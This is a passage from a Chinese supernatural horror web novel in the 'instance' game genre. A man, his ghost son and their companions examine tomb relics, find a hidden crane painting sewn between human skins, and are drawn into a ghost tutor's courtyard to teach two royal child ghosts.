毕竟鞭刑和拔掉舌头这种刑罚都可以把绳子解开,或者把舌头按回骷髅里进行救人。 但是人彘的刑罚楚明铮也确实不知道怎么办,那四肢没了就是没了,楚明铮也找不到这具人彘的新四肢,楚朝万一中招,那真是谁都拼不回去。 楚朝闻言显然也犹疑了片刻。 最后想了想还是放弃了:“好吧妈妈,那这样,我就我目前看到的信息,给你做个总结,我就不碰他了。” 楚明铮点头,示意他说。 “先说结论。”楚朝伸出一只手,郑重其事道:“人皮画上的信息是有误导性的。” 楚明铮微微讶异的一扬眉,示意他继续说。 他们对话的声音传到了不远处那群人的耳朵里,周自重闻言倏然竖起耳朵,朝这边看来,狐疑道:“嗯?” “嗯什么嗯?”大徐笑道:“那小孩子挺有本事的,要真把你的结论推翻了,也不是不可能。” 周自重不服气的“哎——”一声,被大徐及时的按回去了:“你且听听他怎么说。” 楚朝的第二句话依旧石破天惊。 “妈妈,这些文官生前其实并没有遭受过刑罚,他们是死后才被送到这里来,进行虐尸的。”楚朝笃定道。 大徐和周自重终于同时坐不住了,一齐从地上站起来,快步走到楚朝面前。 “什么?!”周自重难以置信的大步过来蹲下,质问似的对楚朝道:“你凭什么这么说?” “那人皮画上明明白白的写了,这些朝臣是被因为上谏,然后被皇帝下狱,受尽酷刑,后来一并敛尸,和刑具一起抬放到这里的,他们怎么可能是死后才被放到刑架上虐待的?” 楚明铮出声道:“老周,别凶孩子。” “我没有!”周自重又气又急道:“但是他得给我个理由是不是,不然这种颠覆性结论张口就来的话,很容易影响士气的。” 楚朝毫不犹豫,直接伸手去指缸中骸骨:“妈妈,周叔叔,你们自己看。” “这是一具被折断手脚的人彘骸骨,你们仔细看他大臂和大腿处,被截断的部位。”楚朝为了让三人看的更清楚,将指尖又凑的近了些,一时也顾不得自己会不会被投射进去了,语气急切道。 “如果这个人是生前被锯断手臂和大腿,做成人彘的话,那他截断处伤口的横截面,应该是被暴力拆卸击打后所形成的粗糙锯齿形状,因为如果是生前截肢,损伤范围会有明显受力的,而且也会被骨骼附近软组织结构的分布所影响,受力会相对清晰,骨头的断裂部位,也会相对粗糙。” 楚明铮注视着缸中的人彘骸骨,大概猜到楚朝想表达什么了。 “但是,我们面前的这具骸骨显然不具备这样的特质。”楚朝话锋一转,将指尖推移,落到骨头最边缘的截断处,沉声道。 “这具骸骨削下来的骨骼截面太过平整了,完全没有骨质挤压变形的痕迹啊,就好像用菜刀把塑料棒切了似的,一看就是人死了以后才分尸,做成人彘的。”楚朝总结道。 楚明铮和大徐对视了一眼,又同时看向周自重。 周自重挠了挠头,又呲牙咧嘴半晌,最终认栽:“行吧,你说的好像也挺有道理的。” 楚朝笑眯眯的将脑袋凑到楚明铮面前去邀功讨赏。 楚明铮抬手揉了一把他的脑袋:“厉害,你上哪儿懂得这些知识?” 楚朝神秘的眨了一下眼睛:“我只是这辈子投胎到你肚子里了,可我又不止活过一辈子。” 楚明铮听了这话顿觉稀奇,连忙追问:“你在我之前,还有别的人生……啊不对,鬼生?” 楚朝狡黠的笑了笑,闭口不言了。 周自重拍着大腿怒道:“果然,文科无用论在哪儿都适配!我当年就应该学个医学,搞个计算机什么的,也犯不着像现在学历史这样功能鸡肋,连副本破谜都破不明白。” “你别这么想啊。”楚明铮难得起了几分同情心,开口安慰对方道。 “人皮壁画也是有用的,起码它让我们理清楚了木雕男尸,蔻丹指甲女尸,还有二层墓葬的这些人,他们整体的人物关系跟背景故事嘛。” “要不是你会看壁画,我们还不知道这个墓葬怎么回事呢,是不是?”楚明铮和颜悦色的宽慰道。 周自重表示并没有被安慰到,一甩手到旁边生闷气去了。 楚明铮无奈,只得跟大徐面面相觑,互相看着耸了一下肩。 “行吧。”大徐回过头来,简单整理了一下他们目前所得到的信息:“首先王爷和王妃的身份基本上是能确认的,同时他俩也确实是被处死的,当年朝廷上谩骂王爷,说他谋反的朝臣们,也确实是死了。” “只不过朝臣的死亡原因和方式还存疑,因为他们不是在狱中被虐待死的,他们是先死掉,再被人挪到这个摆放满刑架的墓葬里,被人虐尸泄愤的。” 大徐头疼的砸了一下脑袋,表示费解。 “楚哥,我怎么感觉这副本线索全是一团乱麻啊?” 楚明铮心说我也这么觉得。 “每个人物的行为以及行为动机都很莫名其妙,所有的事件结合到一起,根本串不起来因果,更别提推理线索,想办法出去了。” “所以我们现在看到的,并不是事情的全部。”楚明铮缓慢的道。 “一定还有什么地方,是我们漏掉的,或者换句话说,副本很有可能隐藏了关键线索,以防我们太轻易的找到真相。” 楚明铮说完,就进入了走神模式。 他的目光在整个二层墓室里来回打转,他在想他究竟漏掉了什么? 在这个整体环境都分外诡异的场合下,什么东西会在他注意力高度集中的时候,都被忽视掉? 楚明铮起身,重新站到了那张人皮壁画图的面前。 周自重的余光瞥到了他的行动,忍不住在一旁冷笑出声:“你不是嫌这张人皮图上讲的都是错的吗?你还过来重新检查干什么?” 楚明铮不搭理他明显带着恼火的语气,回身喊了一声:“大徐,过来。” “来了来了。”大徐忙不迭的跟过来,站到他身侧,跟他一起看着眼前的人皮:“怎么了?” “你看这张皮囊……如果作为人的皮囊来说,你有没有觉得它有点过分厚重了?” 大徐顺着他的目光,十分疑虑的研究起来,半晌思索道:“你要是这么说的话,好像是有一点。” “主要是我也没割过人皮啊,没有一个可供参考的物件。”大徐思索道。 “咱过年吃的凉拌猪皮。”楚明铮忽然道:“猪皮无论如何是比人皮厚重的吧?你觉得眼前这副皮囊,看上去比猪皮厚还是薄?” “厚!”大徐果断道:“它比猪皮还要厚一层,起码比我吃的猪皮要厚一层。” 楚明铮不说话,用目光暗示着他。 大徐一时没反应过来,慢半拍的疑惑道:“你是说,咱们面前这个画,其实不是用人皮做的?” 楚明铮又好气又好笑。 “不,它就是用人皮做的。”楚明铮一边上手,一边解释说道:“只不过,这是人的前胸和后背两张人皮,它们一前一后被缝合起来了,缝合的中间地带,我猜它有个夹层。” 楚明铮走上前,将人皮的最顶端微微捻起,使其变得皱巴而收拢,最终顶端的缝合部位受到挤压,裂开一层细小的缝隙。 楚明铮瞅准那个缝隙,双指撑开,用力一撕——“唰”的一声闷响。 两张人皮随之裂开,人皮中间的缝隙里果然掉落出一层极其薄脆的纸张来。 楚明铮两手拎着人皮,将嘴努了一下,示意大徐过去捡纸。 大徐被这发现震惊的晕头转向,连忙俯身,双手捧起纸张,一边看一边招呼其他人:“快过来,楚哥有新发现。” 众人一股脑儿的从各自休息的地方窜到楚明铮身侧。 大徐将那张薄如蝉翼的脆纸铺开,放平,小心翼翼铺展到地上。 “这是古代那种老旧的宣纸吧,绝对有些年头了,你们看,整张纸都是氧化发黄的。”李子树隔空点着宣纸道。 “上边画的什么?”楚明铮将人皮重新搭回刑架上,甩了甩手,走到纸张面前,蹲身下来细看。 “白色的长腿鸟?”乔文看着画中的生物猜测到。 楚明铮歪了一下头,只见他刚刚从人皮里剥落下的这张纸十分诡异,古旧的卷页上,是渲染晕开的墨汁。 纸张的正中间,绘着一只遗世独立的仙鹤,白羽飘然,昂首挺胸。 仙鹤身后寥寥数笔,仿佛是山川河流的背景。 “什么白色长腿鸟,人家这是鹤!”乔文忍不住给了他一下子,骂到:“能不能有点文化,这是仙鹤,鹤立鸡群的鹤!” “哦,我这不是没看清吗……” “这张图想给我们寓意什么呢?”陈靖不解道:“好像除了一个鹤,也没有什么别的信息了。” 大徐更是将头挠的更厉害了:“楚哥你知道的,我跟作画题诗这种附庸风雅的事情向来无缘,我看不明白。” 楚明铮思忖两秒,开口道:“找一下落款,看看这张画有没有落款,作者是谁?” 陈靖和李子树轻手轻脚的翻动着纸页,生怕那个动作用力过猛了,把本来就脆的像薯片一样的纸张给抖落散架了。 所有人同时在纸上寻找着落款,但是都一无所获。 周自重原本站在离他们相对较远的地方,此时也终于按捺不住,磨磨蹭蹭的从旁边走过来了。 周自重同志不愧是历史学博士,整日与文物和古卷打交道的专业,一眼就从古旧宣纸密密麻麻的黄色纹路中找到了那个笔画繁琐,同时极其隐蔽的落款。 “贺松墨。”周自重忽然道:“底下写了,这幅画的作者,名叫贺松墨。” 第82章 血池棺林(十一) 屏风后映出一道穿着…… 贺松墨。 楚明铮将这三个字在心里来回咬了一遍,心说名字还挺好听的。 这幅画的作者名叫贺松墨。 楚明铮这个人半点艺术细胞都没有,对绘画和题字书法的欣赏水平至今停留在幼儿园,更别提什么笔墨神韵,从中判断画里玄机了。 于是他开口问周自重:“你有什么发现。” 周自重还在生气,板着脸说:“我没有什么发现。” 楚明铮放缓语气,哄了他一句:“刚才是我态度不对,你好好说话。” 周自重白了他一眼,但是还是接过了对方递来的台阶,顺坡而下:“具体的我也看不出来太多信息,但是这个叫贺松墨的人,绘画水平和书法功底都是很高的,这幅画放在咱们现代,也能卖出不少钱,大师级别的水平了。” 楚明铮思索半晌。 一个很有才华的古代人,他的画为什么会被缝进两张人皮里? 这两张被剥开的人皮,它们的主人也是贺松墨吗? 楚明铮的指尖在单薄如纱的黄皮纸面上轻轻敲点,指腹划过那只仙鹤的头颅,楚明铮忽然一怔,猛然抬手去看自己的指尖。 怎么是湿的? 眼前的这幅画历经千年,早应该将墨水蒸发干了才对,可楚明铮的手上却赫然出现一道黑红交错的墨痕。 大徐察觉到他脸上异色,连忙过来看他情况:“怎么了楚哥?” 楚明铮将手指举起来给他看:“我手上有墨水,这是怎么回事?” 大徐露出些迷惘的表情:“什么墨水?” “楚哥,你手上什么都没有啊……” 楚明铮又一低头,却发现刚才还沾染在自己指尖上的墨痕又重新消失无踪,指尖变得干干净净。 绝对不是错觉,楚明铮的第六感强的惊人,这只仙鹤上一定有别的线索。 他又重新将手放置到仙鹤的头顶上去,反复用指尖摩挲着那张黄纸卷,就在他研究仙鹤脑袋的间隙,身后一阵摧枯拉朽的石板挪动声音传来。 众人一惊,同时回头。 只见刑架走廊尽头的石壁沿着中间的缝隙,正缓缓分裂开来,仿佛一扇自动开合的石门,透露出二层墓室里另一个别有洞天的空间。 大徐和周自重还有一整圈新人目瞪口呆。 末了周自重回过头来,诚心实意的喊了楚明铮一句“楚哥”。 楚明铮挑眉回视。 “你是真牛逼。” 楚明铮失笑,将手上的仙鹤图一收,拍了拍两人招呼道:“行了,进去看看吧,既然误打误撞都到这儿了。” 一行人沿着刑架走廊,小心翼翼的走进了石壁后的空间。 新鲜的空气扑面而来。 这是一处露天的四合院,不对,严格意义上来说它是一处古色古香的院落建筑,院中有亭台楼阁,西侧修筑着小桥流水,东侧林立两栋偏屋。 “这地儿可真高级。”李子树赞叹道:“修的像古装剧似的。” 乔文隔了半晌,好像反应过来了:“楚哥,这就是个古代院落吧,贺松墨和王爷不都是古代人吗?咱这是穿越进古代时空里来了。” 众人纷纷被这个解释说服,露出恍然大悟的神情。 周自重拍了拍方才在刑架上蹭到的灰土,提议道:“要不还是按老办法,兵分几路,赶紧把院子里的所有房间过一遍,完了咱们在院子中间汇合,整理信息。” 楚明铮没异议,示意就按他说的办。 “走吧阿朝,你跟我一起。”楚明铮将楚朝拽过来,指了指院子里那个看起来最阴森的房间:“我们去那间。” 楚朝心里发怵,腿肚子直打颤:“妈妈,你对我一点也不友好,那个房间看起来就令人害怕。” “你是鬼我是人,我都不怕,你怕个什么。”楚明铮将儿子脖颈一拎:“跟我走。” 楚朝吱哇乱叫半晌,但还是乖顺的跟着楚明铮朝那个方向去了。 两人一左一右推开堂屋正中的木门,屋里一阵呛人的灰尘气,楚明铮在虚空中挥了挥到处飘散的颗粒物,借着窗外打进来的光线一看,这才发现这里居然是一个相当宽敞的中厅正堂。 堂屋中央摆放着典雅的茶具和雅座,地上几个蒲团被扔的分散且随意,显然主人没有及时规整物品的习惯,如果不是茶桌上落着一层厚厚的灰的话,楚明铮都要以为这屋子尚有人住,只是主人在喝茶中途出去了片刻,不多时就会回来了。 茶座的不远处,立着一扇半人高的屏风,屏风上细绣花纹,也是个仙鹤的形状。 楚明铮负手从屏风后穿过去,直接进了卧室。 屏风后就是两方供以休息的床榻,面积不大,应该是给小孩子睡的,用上好的原木雕刻而成,从围栏到床褥,无不精秀雅致。 楚朝小同志出生于天家村,生长在齐栩那座阴沉沉的办公府邸,哪里见过此等场面,他迈着小碎步踱到楚明铮身侧,小声道:“妈妈,这里实在是……修的太高级了。” “这该不会是什么皇家庭院吧……我有点没见识哦,我好激动。” 楚明铮斜瞅他一眼,感慨道:“是挺没见识的,谁家皇家庭院开在后山里啊?” 楚朝“嘤”了一声,摇头摆尾的将脑袋又往楚明铮身上蹭:“那妈妈带我见世面嘛~” “把你的脑袋从我衣服上挪开!” 楚明铮在卧室里绕了几圈,没发现什么特别的,于是带着儿子又重新转回茶室里去了。 “你有什么发现吗?”楚明铮百无聊赖的问。 “屋里的没有,别的地方的发现倒是有一个。”楚朝看起来有点凝重的道。 楚明铮用手指揉了揉太阳穴:“说。” “妈妈,你有没有发现,咱们从进屋开始,好像就再也没有听到房门外,院子里的声音了。”楚朝紧张的回答。 楚明铮一愣,随即凝神细听,屋外果然什么动静都没有了,刚才在茶室中走动找线索的时候不觉得有什么,此时稍微安静下来一点,屋里屋外那窒息似的寂静简直要将人吞没。 四下之内,除了楚明铮自己的呼吸声,竟完全听不到一点声音,仿佛身处真空中了一样。 楚明铮跟楚朝对视一眼,心里都道了一声不妙,同时跨步出门,一起去院子里探个究竟。 两人推开堂屋的门,却见刚才走进来的院落已经大变了模样。 亭台楼阁,小桥流水,还有二层墓葬的石壁出口,统统都不见了,院落里只剩下空荡荡的树木和荒草地,只有四面灰色的围墙还在,立在原地,用身形围拢划分出一方院落。 大徐,周自重,李子树,乔文和陈靖,全都消失不见了。 院落中一个鬼影都没有。 抬头朝围墙之上的半空眺望,也什么都看不见,仿佛有无数浓雾包裹了这里。 他跟楚朝被困在了这方小院里。 四下寂静,无声也无人,仿佛天地间就只剩下他们两个了。 楚朝的牙齿难以克制的打起哆嗦来:“妈,妈妈……这是什么地方,副本里的鬼把咱俩转移到哪儿来了?” 楚明铮阴沉的扫视了一眼空荡荡的院落,末了一甩手,吩咐楚朝:“不管了,先回屋休息。” 楚朝:“?” 这么心大吗? “既然是副本的鬼主人把我们转移到这里来的,那他肯定有他的用意和打算。”楚明铮道:“走吧,回屋,等他上门来找咱们。” 楚朝没办法,只好战战兢兢的答应着,跟楚明铮一起从院子里退回房间。 楚明铮将屋门大开着,随时恭候鬼怪上门,完了自顾自的转身走回屏风后,然后在两个花雕小床里给自己随便挑了一个,躺上去闭上眼睛睡了。 这举动看的鬼儿子瞠目结舌。 “妈妈,你……真打算就在这里睡觉了?” 楚明铮半个人蜷缩在床上,疲倦的睁开眼睛,简短道:“是的,我很困,我从进副本那天开始就再没有休息过了。” “我也没有。”楚朝提醒。 “我是个活人,我需要睡觉。”楚明铮困顿的打了个哈欠,将脑袋放回枕头上,随意朝楚朝晃了晃手:“你要是不困就在旁边替我守着,有事及时喊我醒来。” 楚朝看他脸色确实不好,于是也就没说什么,乖乖的站在旁边给妈妈守门了。 楚明铮这一觉睡的十分踏实,可能因为鬼怪召唤的环境比较真空的原因,他在睡梦中一点动静都没有听到,一切都格外安详。 不知道过了多久,楚明铮大概是睡够了,也有可能是那张花雕床实在是太硬太小,睡的楚明铮腿伸不直腰也疼,总之他终于在床上睁开了眼睛。 他一睁眼,就对上了一旁楚朝的惊恐的面容。 楚明铮迷迷瞪瞪的蹙了一下眉头,他还没完全清醒过来,但是出于警惕,还是用手臂支撑着身体,从床上坐了起来。 鬼儿子站在楚明铮的床前,拼命朝他挤眉弄眼,向屏风外的空间给楚明铮示意着什么。 楚明铮轻轻咳嗽了几声,并没有露出太过惊慌的神色。 他从床上翻身而下,不紧不慢的靠近了屏风。 屏风后映出一道穿着长袍的森森鬼影,正安静的跟楚明铮隔着屏风而立。 第83章 血池棺林(十二) 帝王师 楚朝惊恐的上下转动着眼睛,牙齿咯咯打颤,无声的用目光问他:妈妈妈妈……怎么办? 茶室里四下无声。 楚明铮心平气和的跟那道鬼影隔着屏风对立半晌,面上神情纹风不动,紧接着他伸出手,毫不犹豫的将面前的屏风倏然拉拽开来,对面鬼影全无预兆,直接暴露在他的面前。 楚朝倒抽一口凉气,差点没吓得心脏骤停。 不过在最初的惊恐情绪褪去之后,楚朝再定睛一看,却发现对面其实没有那么恐怖。 那是一道青衫长袍的瘦削身影,个子很高,跟楚明铮相差无几,但是很瘦,柔软的衣衫服帖到身形上,几乎能衬出几分形销骨立的效果。 看不清具体面容,这人戴了张白色的面具,面具上绘着仙鹤的样貌。 说来也奇怪,仙鹤是一种有鸟喙的动物,鸟喙是尖锐而凸起的,在平面的面具画壳上并不好展现,但是偏偏绘画之人功力极高,两三笔墨的功夫就将面具上的鹤面展现的栩栩如生。 过分生动的一张面具,再配合上他那身阴冷气息十足的青袍,看的人不寒而栗。 楚明铮面无表情的跟他对视着,末了略微一昂下巴,问道:“这是你家?” 仙鹤面具没有回答,施施然一甩袖子,返身坐到茶台前去了。 他单手执着茶壶,将壶中热茶缓缓倾倒,注入进一旁的三盏茶杯里,自己留了一盏,另外两盏则推到桌子对面,仿佛是一种无声的邀请。 楚朝心里的退堂鼓打的更厉害了,心说不是吧,他居然还要请我们喝茶? 这茶水能喝吗? 喝下去不会死人吧? 楚明铮依旧神色如常,他顺着茶座的方向走过去,一盘腿在仙鹤面具对面坐了下来,低头将那杯茶盯了半晌。 周遭茶台冷寂,杯中茶水却是滚烫而芬芳。 楚明铮伸手握住茶杯,苍白指节描摹着杯壁上的花纹,过了一会儿,他慢慢开口道:“生死有界,我不能随便喝死人的茶。” “但是如果你愿意的话,我可以在这里陪你坐一会儿。” 仙鹤面具只是将茶水倒好,他自己也没有摘下面具喝水的意思,就跟楚明铮对立静坐着。 茶台对面就是天窗,阴沉的光线从中穿透下来,空气中的颗粒物飘散在杯水里,一人一鬼在这种场面下居然显得分外和谐。 楚朝猫在一边,一点多余的动静都不敢发出,生怕那仙鹤面具有楚明铮一人作陪还不知足,等下把他也拉过去就不好了。 楚朝胡思乱想着,目光顺着天窗移到了窗外去,忽然他眼睛一闪,看到一窗外的屋檐上多出一样东西。 那是一张染了血水的红色布匹,布匹的一角挂在飞檐上,偶尔有阴风穿堂而过,就将那红色布匹吹的猎猎而起,满屋均匀的赤色光线泼洒,将楚明铮那张平和而冷淡的面容衬出了点诡异的喜庆感。 楚朝觉得很匪夷所思,这房间的布置构造无一不奇怪,眼下还多了一块不知道用来干什么的红布。 他之所以知道那是一张染了血水的红布,而非普通红色布料,原因无他,只因为那布料上的血腥气实在太过浓烈,楚朝蹲在屏风旁侧,跟天窗离的好远,鼻子都能闻见那些随风飘来的浓重铁锈味儿。 楚明铮端着杯子,将茶盏晃了晃。 末了抬头看向窗外的红布披,开口问对面道:“死后鲜血全飞到白练上,这不是窦娥临死前发过的誓吗?” “怎么,你有冤情啊?” 仙鹤面具不语,又过了一会儿,天窗外飘散下来几丝冰冷的寒冷湿意,楚明铮伸手一接,不觉诧异的仰头望天。 下雪了? 这个季节下雪了? 对面仙鹤面具只着了一身单薄长衫,屋中床褥上也全都铺着凉席和玉枕,明显是夏天的装备,说下雪就下雪了? 楚明铮后知后觉的将眼神转回仙鹤面具身上,若有所思道:“血溅白练,六月飞雪……你还真是有冤情啊。” 仙鹤面具沉默着,将面前杯盏握在掌心里,他握住茶杯的那双手极其的苍白无色,清瘦的手骨上仅仅有一层皮囊覆盖似的,像个纸扎的竹杆。 楚明铮将茶杯给他推过去,开口问道:“说吧,我能帮你做什么?” 仙鹤面具仿佛就在等他这句话。 楚明铮的话音刚一落下,他就从茶台之前起身,步履飘逸的转到了□□院去。 过了大约一炷香时间,他从后院里领出来两个同样身着古装的小朋友,一大一小,都是锦衣玉袍,圆胖可爱的模样。 大一点的那个孩子,身高能达到仙鹤面具的腰部位置,小一点的孩子只有仙鹤面具的小腿高,两人一左一右,被仙鹤面具分别牵着手,一路迈着小碎步穿过庭院,朝楚明铮走来。 楚朝不动声色的移动到楚明铮旁边,小声问道:“妈妈,你说那两个小孩子是人还是鬼啊?” “鬼。”楚明铮言简意赅的回答。 “为什么这么笃定?”楚朝不解:“那两个小孩气色好好,看着不像鬼。” 楚明铮莫名其妙的瞥他一眼:“气色红润的就不能是鬼了?” “这三个都是几千年前的古代人,他们就算当年长命百岁,现在也应该去做鬼了。” 楚朝:“……” 好像也是这么个道理。 仙鹤面具将两个小朋友带到了厅堂隔壁的书房里去,书房里传来小孩子们嘻嘻的笑声,听上去两个小孩心情愉悦,声音欢快的要命。 “走吧,跟过去看看。”楚明铮将儿子后背一推:“我们刚才可没听到房间里有小孩的声音,看看是什么东西,怎么能凭空变出来的。” 楚朝不情不愿,但还是跟在楚明铮身后过去了。 那地方虽说是叫书房,但其实布置的十分闲适,有坐塌有矮桌,也有香炉和蒲团,仙鹤面具引着小孩子们坐到矮桌旁,从矮桌底下的柜子里掏出一张四平方正画着寸格的布纸,以及一整盒象棋。 他将布纸铺开,分散的象棋逐一整理好,放到两个孩子手边。 两个小孩好奇的抓起棋子把玩,觉得这东西充满了新奇。 仙鹤面具把这一切布置好了之后,就从矮桌面前撤离开来,端庄的立在一旁,伸手朝站在门槛处的楚明铮微微一指,示意他坐过去。 楚明铮:“?” 仙鹤面具见他不解,于是又回到矮桌前,拿起象棋给两个孩子师范了一下具体走势,又将象棋执在手上,坚持不懈的转头去看楚明铮。 楚明铮跟楚朝面面相觑。 “妈妈,他好像是要你过去给那两个小孩教学……教如何下棋。”楚朝几不可闻的在他耳边提示道。 楚明铮一脸牙疼,用同样几不可闻的声音回答他:“我知道,但问题是……你妈我,不会下象棋啊……” 楚朝:“……” 楚朝小同学一脸泫然欲泣:“妈妈,我曾经以为你是无所不能的。” “闭嘴,这种时候就不要跟我演苦情戏了好吗,快想办法。”楚明铮催促。 “我没办法啊,我也不会!” “你连法医解剖判断尸骨是生前创伤还是死后创伤都会!你不会下象棋?!” “我是鬼,鬼又没有每年固定的体检项目,我只能自学成才那些知识,用来研究我自己的骨头了,下象棋……我又用不上这种知识。”楚朝辩解。 楚明铮看起来牙更疼了。 仙鹤面具一直举着手中的象棋,耐心而压迫感十足的望着楚明铮。 两个小孩见他目不转睛的盯着楚明铮,于是也跟着移过目光,朝这边注视过来。 三鬼对两人,这画面在这种场景下显得既滑稽又惊悚,楚明铮简直哭不出来,也笑不出来。 楚朝在身后推他:“去吧去吧妈妈,你人先过去,然后再想办法……” 楚明铮只好缓慢的走上前,从仙鹤面具身侧擦过去,在矮桌前坐下来,跟两个小孩子大眼瞪小眼。 仙鹤面具将手中棋子落回棋盘上,然后后退半步,将教学场所让给楚明铮。 楚明铮看着棋盘上那一系列他自己都看不懂的符号,什么“兵车将相……”,越看越头大。 最后他自暴自弃般的抓起一枚棋子,往棋盘上一扔,紧接着大手一挥,对两个孩子出声道。 “你们两个,会不会玩五子棋?” …… “什么是五子棋?”主神转头问齐栩。 “就是一种相对简单的棋类游戏,黑子白子对弈,哪个颜色率先在棋盘上串连成五个,哪方就获胜。”齐栩解释道。 “他为什么不教象棋,要去教五子棋?”主神疑惑的又问。 “你可以理解为楚明铮懒,据我了解,他在副本以外的地方并不愿意动脑子,也不会闲着没事去学个益智类的兴趣爱好来陶冶情操,所以他不会下象棋,但是五子棋相对简单,不用辨认棋子,和吞吃规则,直接拿起来就能玩。” 主神恍然大悟:“哦……一个单调且乏味的人。” 齐栩皱了皱眉头,反驳道:“他不乏味。” “那他连最基本的琴棋书画都不会?” “楚明铮是现代人!他当然不会了!” “哦?现代人就不会琴棋书画吗,我可不这么认为,我从前还能满世界到处走动的时候,见过不少笔墨功夫不输当年状元的书法大师和古琴艺人,你莫要蒙骗我。” 齐栩:“……” “反正他真的不乏味!”齐栩气急败坏的说。 …… “对,这些是有划痕标记的是哥哥的棋子,没有划痕标记的是弟弟的棋子,谁先把自己的五个棋子在这个棋盘上以任意一个方向串连成一条直线,谁就是赢家,听懂了没有?”楚明铮和颜悦色的讲道。 两个锦衣小朋友端坐在矮桌前,拿着棋子互相对碰着玩,完全没有搭理楚明铮的意思。 “妈妈,你这教学内容也太混日子了……”楚朝压低声音凑到他身侧来:“谁家古代贵族世家公子哥学五子棋啊,多没逼格。” 楚明铮瞪他一眼,同样压低声音飞快回怼:“象棋是棋,五子棋也一样是棋子,你干什么看不起五子棋?” “我没看不起五子棋——可人家是贵族,贵族学五子棋像话吗?”楚朝被他妈妈的这番操作搞得十分语无伦次,最后简直要崩溃了:“好,那我们先不聊五子棋和象棋的事,我们先说他俩。” 楚朝翘起手指,幅度很小的指了一下矮桌旁边的两人:“他俩压根不学啊,你没看见吗,他俩拿着你的象棋当石头对对碰玩呢!” 楚明铮转头注视着两个贵族小朋友,神色逐渐严厉起来。 两个贵族小朋友一人一颗象棋,拿在手里摆弄着做飞行状,两人时不时还拿着棋子在空中碰撞一下,发出清脆的撞击声响,每撞一下,兄弟二人就同时发出咯咯咯的笑声,抛开他俩是死人的生物本质不谈的话,眼下的场景其实还挺温馨和睦的。 但是没办法,这个世界上有充满童真的孩子,那对应的就有扫兴的大人。 楚明铮抱臂侧身,朝仙鹤面具招呼一声:“哎,同志,他俩不听我的,你不帮我管理管理?” 仙鹤面具沉默着转过头去,不做理会。 楚明铮咬了咬牙,心说行,那你可别怪我下手无情了。 他一边想着,一边从矮桌前起身,在屋里快走两步逼近了仙鹤面具。 仙鹤面具仿佛受了惊似的,稍微后退了半步,不明白楚明铮要做什么。 楚明铮将他往墙角一逼,面上神色冷峻,步履如风,气势杀伐果决,然后他走到仙鹤面具身侧,右手向下一划拉,倏然将仙鹤面具腰间的戒尺抽了出来。 仙鹤面具动作一僵,下意识去抢夺自己的东西。 但是楚明铮动作比他更快一步,戒尺在他指尖转了个弯,翻飞似的就换到另一只手上去了。 楚明铮左手随即一扬,将戒尺挑到了他够不到的地方。 “我刚才就看到你腰间别着这个东西了。”楚明铮开口道:“如果我没猜错的话,你是这俩小朋友的师父吧?” 仙鹤面具不说话,只一味的朝他伸出手,动作焦急的示意你把戒尺还给我。 “传道授业解惑者,怎么能光用温和的手段来教导学生呢?”楚明铮将戒尺稳稳握住,一端握在右手里,另一端抵在左手的掌心。 “戒尺挂在腰上,就是拿来用的。”楚明铮冷声冷气的训斥仙鹤面具:“不是光把它挂着当个摆设,那你何必在腰间挂个戒尺,咱挂枚玉佩不好看么?” “还显气质,衬你这身青衫。”楚明铮瞥他一眼,眼刀之中威慑力十足。 仙鹤面具伸出去的手又窝囊的瑟缩回来,看起来既惹不起两个学生,也惹不起楚明铮。 当老师当到这份上,也是略有几分命苦了。 楚明铮拎了把戒尺,转身大步走回矮桌前,手起刀落,一尺打下去,尺背重重拍在哥哥的肩膀上。 小男孩登时痛的手一松,象棋棋子滚落地面,下一秒,他尖声尖气的鬼嚎起来,带起院子里一阵惨淡阴风,呼啸而至! 楚明铮毫不在意,俯身用尺尖勾住地上掉落的象棋,一个用力用戒尺前端翻挑而起,倏然送回桌面,直抵小男孩眼前。 “拿起来,按我刚才教的做。”楚明铮冷冰冰的用戒尺抵着他道。 小男孩哭泣的面容越来越扭曲,眼看着就要鬼化,哪知楚明铮倏然翻腕,在他后背上又是一下,这回丝毫没收着力气,戒尺在空中划破,甚至能听到风声撕裂的声响。 “安静,别吵。”楚明铮平声静气的警告。 堂屋中的呜咽鬼啸奇迹般的止息下来,那年纪稍长的小男孩抽抽噎噎的拿着象棋,学着楚明铮刚才示范的样子,开始下棋。 一旁的弟弟看见哥哥听话,当然也不敢造次,紧跟着乖顺学了起来。 楚明铮放下戒尺,眼睛朝哥哥的袖口一瞥,随即发现了一点不一样的线索。 哥哥的袖口和衣衫袍角,隐约能看清一点龙纹的花样。 龙纹? 这小男孩是皇帝吗? 或者是说未来的皇帝,也有可能,否则应该没资格在袖口绣龙纹的样式。 楚明铮将目光又移到弟弟身上,神情复杂起来。 按照周自重之前在人皮面具上解读出来的情节,故事背景就是皇帝和王爷的恩怨,而眼下的两个小男孩,也正是皇家的兄弟俩。 他们现在所经历的桥段,好像能与之对应上一部分了。 那也就能解释仙鹤面具为什么腰上别着戒尺,却不敢对这兄弟俩动手教训了。 开什么玩笑,谁敢殴打皇帝? 不想活了么? 楚明铮手上转动着戒尺,思路飞快的走着。 起码他现在搞清楚了仙鹤面具跟这俩人的关系,也勉强能推测出来自己跟楚朝现在身在何处。 这里应该是仙鹤面具给皇家兄弟两人教学琴棋书画等项目的地方。 至于仙鹤兄为什么时隔千年还身处这个幻境里难以挣脱,楚明铮暂时还没有渠道得知。 不过应该快了,楚明铮心想。 按照副本的正常发展速度,距离下一个变故的出现,应该不远了。 楚明铮转头去问仙鹤兄:“还要我教他们什么不?趁此机会一并给我,不然我走了,你又不一定应付的来这两个金尊玉贵的祖宗了。” 楚明铮这人除了过副本厉害,还有一个最厉害的天赋就是带孩子。 他跟小朋友相处很会恩威并施,而且在训斥小朋友的同时又让小朋友产生依赖感和安全感。 从齐栩到楚小妙,再到现在的楚朝,凡事经过他手带过的小朋友,无一不服服帖帖,对他敬爱有加。 哦,当然齐栩的这个“爱”后期变质了,爱到最后对楚明铮从崇拜变成了占有,此事太过扯淡,那是他自己生长变态的问题,跟楚明铮的教育方式绝对没关系,此事另算。 然后剩下两个还是很听话的,楚明铮有这个信心。 仙鹤兄此时的肢体动作,却显得没那么松快,他跪在另一旁的矮桌边上,身形颤抖,抬起指尖,似乎是要示意楚明铮什么。 楚明铮不解,但还是上前两步,走到了仙鹤兄面前:“怎么了?” 仙鹤兄用手指沾了一点杯盏中的茶水,缓缓落在桌面,一笔一划写下了几个字。 走,不,了。 走不了。 楚明铮笑了一声,问道:“什么意思?” 仙鹤兄又在桌上补充了两字:你,们。 你,们,走,不,了。 